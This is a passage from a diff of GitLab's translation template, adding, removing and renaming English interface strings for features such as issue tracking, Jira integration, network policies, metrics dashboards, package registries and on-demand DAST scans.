msgid "Issue %{issue_reference} has already been added to epic %{epic_reference}."
msgstr ""
+msgid "Issue Analytics"
+msgstr ""
+
msgid "Issue Boards"
msgstr ""
@@ -13346,9 +13722,6 @@ msgstr ""
msgid "Issues"
msgstr ""
-msgid "Issues Analytics"
-msgstr ""
-
msgid "Issues Rate Limits"
msgstr ""
@@ -13490,6 +13863,9 @@ msgstr ""
msgid "JiraService| on branch %{branch_link}"
msgstr ""
+msgid "JiraService|%{jira_docs_link_start}Enable the Jira integration%{jira_docs_link_end} to view your Jira issues in GitLab."
+msgstr ""
+
msgid "JiraService|%{user_link} mentioned this issue in %{entity_link} of %{project_link}%{branch}:{quote}%{entity_message}{quote}"
msgstr ""
@@ -13532,6 +13908,9 @@ msgstr ""
msgid "JiraService|Password or API token"
msgstr ""
+msgid "JiraService|This feature requires a Premium plan."
+msgstr ""
+
msgid "JiraService|Transition ID(s)"
msgstr ""
@@ -13547,6 +13926,9 @@ msgstr ""
msgid "JiraService|Username or Email"
msgstr ""
+msgid "JiraService|Using Jira for issue tracking?"
+msgstr ""
+
msgid "JiraService|View Jira issues in GitLab"
msgstr ""
@@ -13835,7 +14217,7 @@ msgstr ""
msgid "Labels can be applied to issues and merge requests."
msgstr ""
-msgid "Labels|<span>Promote label</span> %{labelTitle} <span>to Group Label?</span>"
+msgid "Labels|%{spanStart}Promote label%{spanEnd} %{labelTitle} %{spanStart}to Group Label?%{spanEnd}"
msgstr ""
msgid "Labels|Promote Label"
@@ -14065,7 +14447,7 @@ msgstr ""
msgid "License ID:"
msgstr ""
-msgid "License URL"
+msgid "License overview"
msgstr ""
msgid "License-Check"
@@ -14164,10 +14546,10 @@ msgstr ""
msgid "LicenseCompliance|Remove license?"
msgstr ""
-msgid "LicenseCompliance|There are currently no approved or blacklisted licenses in this project."
+msgid "LicenseCompliance|There are currently no policies in this project."
msgstr ""
-msgid "LicenseCompliance|There are currently no approved or blacklisted licenses that match in this project."
+msgid "LicenseCompliance|There are currently no policies that match in this project."
msgstr ""
msgid "LicenseCompliance|This license already exists in this project."
@@ -14194,6 +14576,9 @@ msgstr ""
msgid "Licensed to"
msgstr ""
+msgid "Licensed to:"
+msgstr ""
+
msgid "Licenses"
msgstr ""
@@ -14257,9 +14642,6 @@ msgstr ""
msgid "License|License"
msgstr ""
-msgid "License|Licensed user count exceeded"
-msgstr ""
-
msgid "License|You can restore access to the Gold features at any time by upgrading."
msgstr ""
@@ -14275,9 +14657,6 @@ msgstr ""
msgid "License|Your free trial of GitLab Ultimate expired on %{trial_ends_on}."
msgstr ""
-msgid "License|Your instance has exceeded your subscription's number of licensed users by %{extra_users_count}. You can continue to add more users and we'll include the overage in your next bill."
-msgstr ""
-
msgid "Limit display of time tracking units to hours."
msgstr ""
@@ -14331,6 +14710,9 @@ msgstr ""
msgid "List available repositories"
msgstr ""
+msgid "List of all merge commits"
+msgstr ""
+
msgid "List settings"
msgstr ""
@@ -14352,6 +14734,9 @@ msgstr ""
msgid "Load more"
msgstr ""
+msgid "Load more users"
+msgstr ""
+
msgid "Loading"
msgstr ""
@@ -14403,7 +14788,7 @@ msgstr ""
msgid "Lock the discussion"
msgstr ""
-msgid "Lock this %{issuableDisplayName}? Only <strong>project members</strong> will be able to comment."
+msgid "Lock this %{issuableDisplayName}? Only %{strongStart}project members%{strongEnd} will be able to comment."
msgstr ""
msgid "Lock to current projects"
@@ -14454,6 +14839,12 @@ msgstr ""
msgid "MERGED"
msgstr ""
+msgid "MR widget|Back to the Merge request"
+msgstr ""
+
+msgid "MR widget|See your pipeline in action"
+msgstr ""
+
msgid "MR widget|Take a look at our %{beginnerLinkStart}Beginner's Guide to Continuous Integration%{beginnerLinkEnd} and our %{exampleLinkStart}examples of GitLab CI/CD%{exampleLinkEnd} to learn more."
msgstr ""
@@ -14469,6 +14860,9 @@ msgstr ""
msgid "MRApprovals|Approvers"
msgstr ""
+msgid "MRApprovals|Commented by"
+msgstr ""
+
msgid "MRDiff|Show changes only"
msgstr ""
@@ -14553,9 +14947,6 @@ msgstr ""
msgid "Manifest import"
msgstr ""
-msgid "Manual job"
-msgstr ""
-
msgid "ManualOrdering|Couldn't save the order of the issues"
msgstr ""
@@ -14667,9 +15058,6 @@ msgstr ""
msgid "MattermostService|This service allows users to perform common operations on this project by entering slash commands in Mattermost."
msgstr ""
-msgid "Maven Metadata"
-msgstr ""
-
msgid "Max Group Export Download requests per minute per user"
msgstr ""
@@ -14805,6 +15193,15 @@ msgstr ""
msgid "Members can be added by project %{i_open}Maintainers%{i_close} or %{i_open}Owners%{i_close}"
msgstr ""
+msgid "Members invited to %{strong_start}%{group_name}%{strong_end}"
+msgstr ""
+
+msgid "Members of %{group} can also merge into this branch: %{branch}"
+msgstr ""
+
+msgid "Members of %{group} can also push to this branch: %{branch}"
+msgstr ""
+
msgid "Members of %{strong_open}%{project_name}%{strong_close}"
msgstr ""
@@ -14814,9 +15211,6 @@ msgstr ""
msgid "Members with access to %{strong_start}%{group_name}%{strong_end}"
msgstr ""
-msgid "Members with pending access to %{strong_start}%{group_name}%{strong_end}"
-msgstr ""
-
msgid "Memory Usage"
msgstr ""
@@ -14844,15 +15238,15 @@ msgstr ""
msgid "Merge Requests"
msgstr ""
-msgid "Merge Requests closed"
-msgstr ""
-
msgid "Merge Requests created"
msgstr ""
msgid "Merge Requests in Review"
msgstr ""
+msgid "Merge Requests merged"
+msgstr ""
+
msgid "Merge automatically (%{strategy})"
msgstr ""
@@ -14868,6 +15262,9 @@ msgstr ""
msgid "Merge in progress"
msgstr ""
+msgid "Merge locally"
+msgstr ""
+
msgid "Merge options"
msgstr ""
@@ -14931,6 +15328,27 @@ msgstr ""
msgid "MergeConflict|origin//their changes"
msgstr ""
+msgid "MergeRequestAnalytics|Assignees"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Date Merged"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Line changes"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Merge Request"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Milestone"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Pipelines"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Time to merge"
+msgstr ""
+
msgid "MergeRequestDiffs|Commenting on lines %{selectStart}start%{selectEnd} to %{end}"
msgstr ""
@@ -15063,6 +15481,12 @@ msgstr ""
msgid "MetricChart|Selected"
msgstr ""
+msgid "MetricChart|There is no data available. Please change your selection."
+msgstr ""
+
+msgid "MetricChart|There is too much data to calculate. Please change your selection."
+msgstr ""
+
msgid "Metrics"
msgstr ""
@@ -15165,6 +15589,12 @@ msgstr ""
msgid "Metrics|Check out the CI/CD documentation on deploying to an environment"
msgstr ""
+msgid "Metrics|Collapse panel"
+msgstr ""
+
+msgid "Metrics|Collapse panel (Esc)"
+msgstr ""
+
msgid "Metrics|Copy YAML"
msgstr ""
@@ -15174,9 +15604,6 @@ msgstr ""
msgid "Metrics|Create custom dashboard %{fileName}"
msgstr ""
-msgid "Metrics|Create dashboard"
-msgstr ""
-
msgid "Metrics|Create metric"
msgstr ""
@@ -15210,9 +15637,15 @@ msgstr ""
msgid "Metrics|Duplicate dashboard"
msgstr ""
+msgid "Metrics|Duplicate this dashboard to add panel or edit dashboard YAML."
+msgstr ""
+
msgid "Metrics|Duplicating..."
msgstr ""
+msgid "Metrics|Edit dashboard YAML"
+msgstr ""
+
msgid "Metrics|Edit metric"
msgid_plural "Metrics|Edit metrics"
msgstr[0] ""
@@ -15224,9 +15657,6 @@ msgstr ""
msgid "Metrics|For grouping similar metrics"
msgstr ""
-msgid "Metrics|Go back (Esc)"
-msgstr ""
-
msgid "Metrics|Invalid time range, please verify."
msgstr ""
@@ -15254,6 +15684,9 @@ msgstr ""
msgid "Metrics|Min"
msgstr ""
+msgid "Metrics|More actions"
+msgstr ""
+
msgid "Metrics|Must be a valid PromQL query."
msgstr ""
@@ -15278,6 +15711,9 @@ msgstr ""
msgid "Metrics|Prometheus Query Documentation"
msgstr ""
+msgid "Metrics|Refresh Prometheus data"
+msgstr ""
+
msgid "Metrics|Refresh dashboard"
msgstr ""
@@ -15356,6 +15792,9 @@ msgstr ""
msgid "Metrics|View logs"
msgstr ""
+msgid "Metrics|View runbook - %{label}"
+msgstr ""
+
msgid "Metrics|Y-axis label"
msgstr ""
@@ -15406,12 +15845,18 @@ msgid_plural "Milestones"
msgstr[0] ""
msgstr[1] ""
+msgid "Milestone does not support burnup charts"
+msgstr ""
+
msgid "Milestone lists not available with your current license"
msgstr ""
msgid "Milestone lists show all issues from the selected milestone."
msgstr ""
+msgid "Milestone must have a start and due date"
+msgstr ""
+
msgid "MilestoneSidebar|Closed:"
msgstr ""
@@ -15577,6 +16022,15 @@ msgstr ""
msgid "Mirroring will only be available if the feature is included in the plan of the selected group or user."
msgstr ""
+msgid "Missing OAuth configuration for GitHub."
+msgstr ""
+
+msgid "Missing OS"
+msgstr ""
+
+msgid "Missing arch"
+msgstr ""
+
msgid "Missing commit signatures endpoint!"
msgstr ""
@@ -15622,6 +16076,9 @@ msgstr ""
msgid "Monitoring"
msgstr ""
+msgid "Month"
+msgstr ""
+
msgid "Months"
msgstr ""
@@ -15811,12 +16268,45 @@ msgstr ""
msgid "Network Policy|New rule"
msgstr ""
+msgid "NetworkPolicies|%{ifLabelStart}if%{ifLabelEnd} %{ruleType} %{isLabelStart}is%{isLabelEnd} %{ruleDirection} %{ruleSelector} %{directionLabelStart}and is inbound from a%{directionLabelEnd} %{rule} %{portsLabelStart}on%{portsLabelEnd} %{ports}"
+msgstr ""
+
+msgid "NetworkPolicies|%{ifLabelStart}if%{ifLabelEnd} %{ruleType} %{isLabelStart}is%{isLabelEnd} %{ruleDirection} %{ruleSelector} %{directionLabelStart}and is outbound to a%{directionLabelEnd} %{rule} %{portsLabelStart}on%{portsLabelEnd} %{ports}"
+msgstr ""
+
+msgid "NetworkPolicies|%{labelStart}Then%{labelEnd} %{action} %{spanStart}the network traffic.%{spanEnd}"
+msgstr ""
+
+msgid "NetworkPolicies|%{number} selected"
+msgstr ""
+
+msgid "NetworkPolicies|%{strongOpen}all%{strongClose} pods"
+msgstr ""
+
+msgid "NetworkPolicies|%{strongOpen}any%{strongClose} port"
+msgstr ""
+
+msgid "NetworkPolicies|.yaml"
+msgstr ""
+
msgid "NetworkPolicies|.yaml mode"
msgstr ""
msgid "NetworkPolicies|Actions"
msgstr ""
+msgid "NetworkPolicies|All selected"
+msgstr ""
+
+msgid "NetworkPolicies|Allow"
+msgstr ""
+
+msgid "NetworkPolicies|Allow all inbound traffic to %{selector} from %{ruleSelector} on %{ports}"
+msgstr ""
+
+msgid "NetworkPolicies|Allow all outbound traffic from %{selector} to %{ruleSelector} on %{ports}"
+msgstr ""
+
msgid "NetworkPolicies|Choose whether to enforce this policy."
msgstr ""
@@ -15826,6 +16316,9 @@ msgstr ""
msgid "NetworkPolicies|Define this policy's location, conditions and actions."
msgstr ""
+msgid "NetworkPolicies|Deny all traffic"
+msgstr ""
+
msgid "NetworkPolicies|Description"
msgstr ""
@@ -15838,6 +16331,9 @@ msgstr ""
msgid "NetworkPolicies|Environment does not have deployment platform"
msgstr ""
+msgid "NetworkPolicies|IP/subnet"
+msgstr ""
+
msgid "NetworkPolicies|If you are using Auto DevOps, your %{monospacedStart}auto-deploy-values.yaml%{monospacedEnd} file will not be updated if you change a policy in this section. Auto DevOps users should make changes by following the %{linkStart}Container Network Policy documentation%{linkEnd}."
msgstr ""
@@ -15856,12 +16352,18 @@ msgstr ""
msgid "NetworkPolicies|Network Policy"
msgstr ""
+msgid "NetworkPolicies|Network traffic"
+msgstr ""
+
msgid "NetworkPolicies|New policy"
msgstr ""
msgid "NetworkPolicies|No policies detected"
msgstr ""
+msgid "NetworkPolicies|None selected"
+msgstr ""
+
msgid "NetworkPolicies|Policies are a specification of how groups of pods are allowed to communicate with each other's network endpoints."
msgstr ""
@@ -15886,9 +16388,15 @@ msgstr ""
msgid "NetworkPolicies|Policy type"
msgstr ""
+msgid "NetworkPolicies|Rule"
+msgstr ""
+
msgid "NetworkPolicies|Rule mode"
msgstr ""
+msgid "NetworkPolicies|Rule mode is unavailable for this policy. In some cases, we cannot parse the YAML file back into the rules editor."
+msgstr ""
+
msgid "NetworkPolicies|Rules"
msgstr ""
@@ -15901,9 +16409,54 @@ msgstr ""
msgid "NetworkPolicies|Status"
msgstr ""
+msgid "NetworkPolicies|Traffic that does not match any rule will be blocked."
+msgstr ""
+
msgid "NetworkPolicies|YAML editor"
msgstr ""
+msgid "NetworkPolicies|all DNS names"
+msgstr ""
+
+msgid "NetworkPolicies|all IP addresses"
+msgstr ""
+
+msgid "NetworkPolicies|any pod"
+msgstr ""
+
+msgid "NetworkPolicies|any port"
+msgstr ""
+
+msgid "NetworkPolicies|domain name"
+msgstr ""
+
+msgid "NetworkPolicies|entity"
+msgstr ""
+
+msgid "NetworkPolicies|inbound to"
+msgstr ""
+
+msgid "NetworkPolicies|nowhere"
+msgstr ""
+
+msgid "NetworkPolicies|outbound from"
+msgstr ""
+
+msgid "NetworkPolicies|pod with labels"
+msgstr ""
+
+msgid "NetworkPolicies|pods %{pods}"
+msgstr ""
+
+msgid "NetworkPolicies|pods with labels"
+msgstr ""
+
+msgid "NetworkPolicies|ports %{ports}"
+msgstr ""
+
+msgid "NetworkPolicies|ports/protocols"
+msgstr ""
+
msgid "Never"
msgstr ""
@@ -16296,12 +16849,18 @@ msgstr ""
msgid "No required pipeline"
msgstr ""
+msgid "No runner executable"
+msgstr ""
+
msgid "No runners found"
msgstr ""
msgid "No schedules"
msgstr ""
+msgid "No source selected"
+msgstr ""
+
msgid "No stack trace for this error"
msgstr ""
@@ -16389,18 +16948,12 @@ msgstr ""
msgid "Not started"
msgstr ""
-msgid "Not-confidential epic cannot be assigned to a confidential parent epic"
-msgstr ""
-
msgid "Note"
msgstr ""
msgid "Note parameters are invalid: %{errors}"
msgstr ""
-msgid "Note that PostgreSQL %{pg_version_upcoming} will become the minimum required version in GitLab %{gl_version_upcoming} (%{gl_version_upcoming_date}). Please consider upgrading your environment to a supported PostgreSQL version soon, see <a href=\"%{pg_version_upcoming_url}\">the related epic</a> for details."
-msgstr ""
-
msgid "Note that this invitation was sent to %{mail_to_invite_email}, but you are signed in as %{link_to_current_user} with email %{mail_to_current_user}."
msgstr ""
@@ -16548,9 +17101,6 @@ msgstr ""
msgid "Novice"
msgstr ""
-msgid "Now you can access the merge request navigation tabs at the top, where they’re easier to find."
-msgstr ""
-
msgid "Nuget metadatum must have at least license_url, project_url or icon_url set"
msgstr ""
@@ -16590,9 +17140,6 @@ msgstr ""
msgid "Number of files touched"
msgstr ""
-msgid "OAuth configuration for GitHub missing."
-msgstr ""
-
msgid "OK"
msgstr ""
@@ -16635,21 +17182,27 @@ msgstr ""
msgid "OnDemandScans|Attached branch is where the scan job runs."
msgstr ""
+msgid "OnDemandScans|Could not fetch site profiles. Please refresh the page, or try again later."
+msgstr ""
+
msgid "OnDemandScans|Could not run the scan. Please try again."
msgstr ""
-msgid "OnDemandScans|Could not run the scan: %{backendErrorMessage}"
+msgid "OnDemandScans|Create a new site profile"
msgstr ""
msgid "OnDemandScans|Create new DAST scan"
msgstr ""
-msgid "OnDemandScans|DAST will scan the target URL and any discovered sub URLs."
+msgid "OnDemandScans|Manage profiles"
msgstr ""
msgid "OnDemandScans|New on-demand DAST scan"
msgstr ""
+msgid "OnDemandScans|No profile yet. In order to create a new scan, you need to have at least one completed site profile."
+msgstr ""
+
msgid "OnDemandScans|On-demand Scans"
msgstr ""
@@ -16659,25 +17212,31 @@ msgstr ""
msgid "OnDemandScans|Only a passive scan can be performed on demand."
msgstr ""
-msgid "OnDemandScans|Passive DAST Scan"
+msgid "OnDemandScans|Passive"
msgstr ""
-msgid "OnDemandScans|Please enter a valid URL format, ex: http://www.example.com/home"
+msgid "OnDemandScans|Run scan"
msgstr ""
-msgid "OnDemandScans|Run this scan"
+msgid "OnDemandScans|Scan mode"
msgstr ""
-msgid "OnDemandScans|Scan mode"
+msgid "OnDemandScans|Scanner settings"
msgstr ""
msgid "OnDemandScans|Schedule or run scans immediately against target sites. Currently available on-demand scan type: DAST. %{helpLinkStart}More information%{helpLinkEnd}"
msgstr ""
-msgid "OnDemandScans|Target URL"
+msgid "OnDemandScans|Select one of the existing profiles"
+msgstr ""
+
+msgid "OnDemandScans|Site profiles"
+msgstr ""
+
+msgid "OnDemandScans|Use existing site profile"
msgstr ""
-msgid "Once a project is permanently deleted it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its respositories and %{strongStart}all related resources%{strongEnd} including issues, merge requests etc."
+msgid "Once a project is permanently deleted it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its repositories and %{strongStart}all related resources%{strongEnd} including issues, merge requests etc."
msgstr ""
msgid "Once a project is permanently deleted it cannot be recovered. You will lose this project's repository and all content: issues, merge requests etc."
@@ -16736,9 +17295,6 @@ msgstr ""
msgid "Only active this projects shows up in the search and on the dashboard."
msgstr ""
-msgid "Only admins"
-msgstr ""
-
msgid "Only admins can delete project"
msgstr ""
@@ -16757,6 +17313,9 @@ msgstr ""
msgid "Only project members will be imported. Group members will be skipped."
msgstr ""
+msgid "Only projects created under a Gold license are available in Security Dashboards."
+msgstr ""
+
msgid "Only verified users with an email address in any of these domains can be added to the group."
msgstr ""
@@ -16772,9 +17331,15 @@ msgstr ""
msgid "Open Selection"
msgstr ""
+msgid "Open Web IDE"
+msgstr ""
+
msgid "Open comment type dropdown"
msgstr ""
+msgid "Open epics"
+msgstr ""
+
msgid "Open errors"
msgstr ""
@@ -16895,18 +17460,12 @@ msgstr ""
msgid "Outbound requests"
msgstr ""
-msgid "OutdatedBrowser|From May 2020 GitLab no longer supports Internet Explorer 11."
-msgstr ""
-
msgid "OutdatedBrowser|GitLab may not work properly, because you are using an outdated web browser."
msgstr ""
msgid "OutdatedBrowser|Please install a %{browser_link_start}supported web browser%{browser_link_end} for a better experience."
msgstr ""
-msgid "OutdatedBrowser|You can provide feedback %{feedback_link_start}on this issue%{feedback_link_end} or via your usual support channels."
-msgstr ""
-
msgid "Outdent"
msgstr ""
@@ -16940,9 +17499,6 @@ msgstr ""
msgid "Package deleted successfully"
msgstr ""
-msgid "Package information"
-msgstr ""
-
msgid "Package recipe already exists"
msgstr ""
@@ -17027,6 +17583,12 @@ msgstr ""
msgid "PackageRegistry|Copy npm setup command"
msgstr ""
+msgid "PackageRegistry|Copy registry include"
+msgstr ""
+
+msgid "PackageRegistry|Copy require package include"
+msgstr ""
+
msgid "PackageRegistry|Copy yarn command"
msgstr ""
@@ -17042,6 +17604,9 @@ msgstr ""
msgid "PackageRegistry|Filter by name"
msgstr ""
+msgid "PackageRegistry|For more information on Composer packages in GitLab, %{linkStart}see the documentation.%{linkEnd}"
+msgstr ""
+
msgid "PackageRegistry|For more information on the Conan registry, %{linkStart}see the documentation%{linkEnd}."
msgstr ""
@@ -17060,9 +17625,6 @@ msgstr ""
msgid "PackageRegistry|If you haven't already done so, you will need to add the below to your %{codeStart}pom.xml%{codeEnd} file."
msgstr ""
-msgid "PackageRegistry|Installation"
-msgstr ""
-
msgid "PackageRegistry|Is your favorite package manager missing? We'd love your help in building first-class support for it into GitLab! %{contributionLinkStart}Visit the contribution documentation%{contributionLinkEnd} to learn more about how to build support for new package managers into GitLab. Below is a list of package managers that are on our radar."
msgstr ""
@@ -17099,27 +17661,18 @@ msgstr ""
msgid "PackageRegistry|Pip Command"
msgstr ""
-msgid "PackageRegistry|Pipeline %{linkStart}%{linkEnd} triggered %{timestamp} by %{author}"
-msgstr ""
-
msgid "PackageRegistry|Pipeline %{link} triggered %{datetime} by %{author}"
msgstr ""
msgid "PackageRegistry|Published to the %{project} Package Registry %{datetime}"
msgstr ""
-msgid "PackageRegistry|Published to the repository at %{timestamp}"
-msgstr ""
-
msgid "PackageRegistry|PyPi"
msgstr ""
msgid "PackageRegistry|Recipe: %{recipe}"
msgstr ""
-msgid "PackageRegistry|Registry Setup"
-msgstr ""
-
msgid "PackageRegistry|Remove package"
msgstr ""
@@ -17168,13 +17721,19 @@ msgstr ""
msgid "PackageRegistry|You may also need to setup authentication using an auth token. %{linkStart}See the documentation%{linkEnd} to find out more."
msgstr ""
-msgid "PackageRegistry|npm"
+msgid "PackageRegistry|composer.json registry include"
+msgstr ""
+
+msgid "PackageRegistry|composer.json require package include"
+msgstr ""
+
+msgid "PackageRegistry|npm command"
msgstr ""
msgid "PackageRegistry|published by %{author}"
msgstr ""
-msgid "PackageRegistry|yarn"
+msgid "PackageRegistry|yarn command"
msgstr ""
msgid "PackageType|Composer"
@@ -17318,7 +17877,7 @@ msgstr ""
msgid "Password successfully changed"
msgstr ""
-msgid "Password was successfully updated. Please login with it"
+msgid "Password was successfully updated. Please sign in again."
msgstr ""
msgid "Passwords should be unique and not used for any other sites or services."
@@ -17822,6 +18381,9 @@ msgstr ""
msgid "Please complete your profile with email address"
msgstr ""
+msgid "Please contact your administrator with any questions."
+msgstr ""
+
msgid "Please contact your administrator."
msgstr ""
@@ -17975,13 +18537,13 @@ msgstr ""
msgid "Preferences|Choose what content you want to see on a project’s overview page."
msgstr ""
-msgid "Preferences|Customize integrations with third party services."
+msgid "Preferences|Choose what content you want to see on your homepage."
msgstr ""
-msgid "Preferences|Customize the appearance of the application header and navigation sidebar."
+msgid "Preferences|Customize integrations with third party services."
msgstr ""
-msgid "Preferences|Default dashboard"
+msgid "Preferences|Customize the appearance of the application header and navigation sidebar."
msgstr ""
msgid "Preferences|Display time in 24-hour format"
@@ -17993,6 +18555,9 @@ msgstr ""
msgid "Preferences|For example: 30 mins ago."
msgstr ""
+msgid "Preferences|Homepage content"
+msgstr ""
+
msgid "Preferences|Instead of all the files changed, show only one file at a time. To switch between files, use the file browser."
msgstr ""
@@ -18284,15 +18849,9 @@ msgstr ""
msgid "Profiles|Default notification email"
msgstr ""
-msgid "Profiles|Delete Account"
-msgstr ""
-
msgid "Profiles|Delete account"
msgstr ""
-msgid "Profiles|Delete your account?"
-msgstr ""
-
msgid "Profiles|Deleting an account has the following effects:"
msgstr ""
@@ -18683,6 +19242,9 @@ msgstr ""
msgid "Project visibility level will be changed to match namespace rules when transferring to a group."
msgstr ""
+msgid "Project was not found or you do not have permission to add this project to Security Dashboards."
+msgstr ""
+
msgid "Project: %{name}"
msgstr ""
@@ -18707,6 +19269,9 @@ msgstr ""
msgid "ProjectFileTree|Name"
msgstr ""
+msgid "ProjectFileTree|Show more"
+msgstr ""
+
msgid "ProjectLastActivity|Never"
msgstr ""
@@ -19298,7 +19863,7 @@ msgstr ""
msgid "PrometheusAlerts|Operator"
msgstr ""
-msgid "PrometheusAlerts|Runbook"
+msgid "PrometheusAlerts|Runbook URL (optional)"
msgstr ""
msgid "PrometheusAlerts|Select query"
@@ -19307,10 +19872,19 @@ msgstr ""
msgid "PrometheusAlerts|Threshold"
msgstr ""
-msgid "PrometheusService|%{exporters} with %{metrics} were found"
+msgid "PrometheusAlerts|exceeded"
+msgstr ""
+
+msgid "PrometheusAlerts|https://gitlab.com/gitlab-com/runbooks"
+msgstr ""
+
+msgid "PrometheusAlerts|is equal to"
msgstr ""
-msgid "PrometheusService|<p class=\"text-tertiary\">No <a href=\"%{docsUrl}\">common metrics</a> were found</p>"
+msgid "PrometheusAlerts|is less than"
+msgstr ""
+
+msgid "PrometheusService|%{exporters} with %{metrics} were found"
msgstr ""
msgid "PrometheusService|Active"
@@ -19370,6 +19944,9 @@ msgstr ""
msgid "PrometheusService|New metric"
msgstr ""
+msgid "PrometheusService|No %{docsUrlStart}common metrics%{docsUrlEnd} were found"
+msgstr ""
+
msgid "PrometheusService|No custom metrics have been created. Create one using the button above"
msgstr ""
@@ -19424,6 +20001,9 @@ msgstr ""
msgid "Promoted issue to an epic."
msgstr ""
+msgid "Promotion is not supported."
+msgstr ""
+
msgid "Promotions|Burndown Charts are visual representations of the progress of completing a milestone. At a glance, you see the current state for the completion a given milestone. Without them, you would have to organize the data from the milestone and plot it yourself to have the same sense of progress."
msgstr ""
@@ -19505,6 +20085,9 @@ msgstr ""
msgid "Prompt users to upload SSH keys"
msgstr ""
+msgid "Protect"
+msgstr ""
+
msgid "Protect variable"
msgstr ""
@@ -19835,9 +20418,6 @@ msgstr ""
msgid "Recent searches"
msgstr ""
-msgid "Recipe"
-msgstr ""
-
msgid "Reconfigure"
msgstr ""
@@ -19933,6 +20513,9 @@ msgstr ""
msgid "Registration|Your profile"
msgstr ""
+msgid "Registry setup"
+msgstr ""
+
msgid "Regulate approvals by authors/committers, based on compliance frameworks. Can be changed only at the instance level."
msgstr ""
@@ -20025,6 +20608,9 @@ msgstr ""
msgid "Releases|New Release"
msgstr ""
+msgid "Release|Something went wrong while creating a new release"
+msgstr ""
+
msgid "Release|Something went wrong while getting the release details"
msgstr ""
@@ -20067,6 +20653,9 @@ msgstr ""
msgid "Remove all or specific label(s)"
msgstr ""
+msgid "Remove approver"
+msgstr ""
+
msgid "Remove approvers"
msgstr ""
@@ -20136,9 +20725,6 @@ msgstr ""
msgid "Remove priority"
msgstr ""
-msgid "Remove project"
-msgstr ""
-
msgid "Remove secondary node"
msgstr ""
@@ -20172,9 +20758,6 @@ msgstr ""
msgid "Removed %{type} with id %{id}"
msgstr ""
-msgid "Removed Projects"
-msgstr ""
-
msgid "Removed all labels."
msgstr ""
@@ -20187,12 +20770,6 @@ msgstr ""
msgid "Removed parent epic %{epic_ref}."
msgstr ""
-msgid "Removed projects"
-msgstr ""
-
-msgid "Removed projects cannot be restored!"
-msgstr ""
-
msgid "Removed spent time."
msgstr ""
@@ -20241,15 +20818,9 @@ msgstr ""
msgid "Removes time estimate."
msgstr ""
-msgid "Removing a project places it into a read-only state until %{date}, at which point the project will be permanently removed. Are you ABSOLUTELY sure?"
-msgstr ""
-
msgid "Removing license…"
msgstr ""
-msgid "Removing the project will delete its repository and all related resources including issues, merge requests etc."
-msgstr ""
-
msgid "Removing this group also removes all child projects, including archived projects, and their resources."
msgstr ""
@@ -20432,9 +21003,6 @@ msgstr ""
msgid "Repository Settings"
msgstr ""
-msgid "Repository URL"
-msgstr ""
-
msgid "Repository check"
msgstr ""
@@ -20622,9 +21190,15 @@ msgstr ""
msgid "Resolve all threads in new issue"
msgstr ""
+msgid "Resolve conflicts"
+msgstr ""
+
msgid "Resolve conflicts on source branch"
msgstr ""
+msgid "Resolve these conflicts or ask someone with write access to this repository to merge it locally."
+msgstr ""
+
msgid "Resolve thread"
msgstr ""
@@ -20804,6 +21378,9 @@ msgstr ""
msgid "Rook"
msgstr ""
+msgid "Rule name is already taken."
+msgstr ""
+
msgid "Rules that define what git pushes are accepted for a project in this group. All newly created projects in this group will use these settings."
msgstr ""
@@ -20816,6 +21393,9 @@ msgstr ""
msgid "Run housekeeping"
msgstr ""
+msgid "Run manual or delayed jobs"
+msgstr ""
+
msgid "Run tests against your code live using the Web Terminal"
msgstr ""
@@ -20942,6 +21522,9 @@ msgstr ""
msgid "Save Changes"
msgstr ""
+msgid "Save Push Rules"
+msgstr ""
+
msgid "Save anyway"
msgstr ""
@@ -20972,6 +21555,9 @@ msgstr ""
msgid "Save variables"
msgstr ""
+msgid "Saved scan settings and target site settings which are reusable."
+msgstr ""
+
msgid "Saving"
msgstr ""
@@ -21020,6 +21606,9 @@ msgstr ""
msgid "Scopes can't be blank"
msgstr ""
+msgid "Score"
+msgstr ""
+
msgid "Scroll down"
msgstr ""
@@ -21062,6 +21651,9 @@ msgstr ""
msgid "Search branches and tags"
msgstr ""
+msgid "Search branches, tags, and commits"
+msgstr ""
+
msgid "Search by Git revision"
msgstr ""
@@ -21259,6 +21851,9 @@ msgstr ""
msgid "Secondary"
msgstr ""
+msgid "Seconds"
+msgstr ""
+
msgid "Secret"
msgstr ""
@@ -21286,13 +21881,37 @@ msgstr ""
msgid "Security report is out of date. Run %{newPipelineLinkStart}a new pipeline%{newPipelineLinkEnd} for the target branch (%{targetBranchName})"
msgstr ""
+msgid "SecurityApprovals|License Scanning must be enabled. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
+msgid "SecurityApprovals|One or more of the security scanners must be enabled. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
+msgid "SecurityApprovals|Requires approval for vulnerabilties of Critical, High, or Unknown severity. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
+msgid "SecurityApprovals|Requires license policy rules for licenses of Allowed, or Denied. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
msgid "SecurityConfiguration|An error occurred while creating the merge request."
msgstr ""
+msgid "SecurityConfiguration|Available for on-demand DAST"
+msgstr ""
+
msgid "SecurityConfiguration|Configure"
msgstr ""
-msgid "SecurityConfiguration|Customize common SAST settings to suit your requirements. More advanced configuration options exist, which you can add to the configuration file this tool generates. It's important to note that if you make any configurations, they will be saved as overrides and will be %{strongStart}excluded from automatic updates%{strongEnd}."
+msgid "SecurityConfiguration|Could not retrieve configuration data. Please refresh the page, or try again later."
+msgstr ""
+
+msgid "SecurityConfiguration|Create Merge Request"
+msgstr ""
+
+msgid "SecurityConfiguration|Customize common SAST settings to suit your requirements. Configuration changes made here override those provided by GitLab and are excluded from updates. For details of more advanced configuration options, see the %{linkStart}GitLab SAST documentation%{linkEnd}."
+msgstr ""
+
+msgid "SecurityConfiguration|Enable"
msgstr ""
msgid "SecurityConfiguration|Enable via Merge Request"
@@ -21313,6 +21932,9 @@ msgstr ""
msgid "SecurityConfiguration|Not enabled"
msgstr ""
+msgid "SecurityConfiguration|SAST Configuration"
+msgstr ""
+
msgid "SecurityConfiguration|Security Control"
msgstr ""
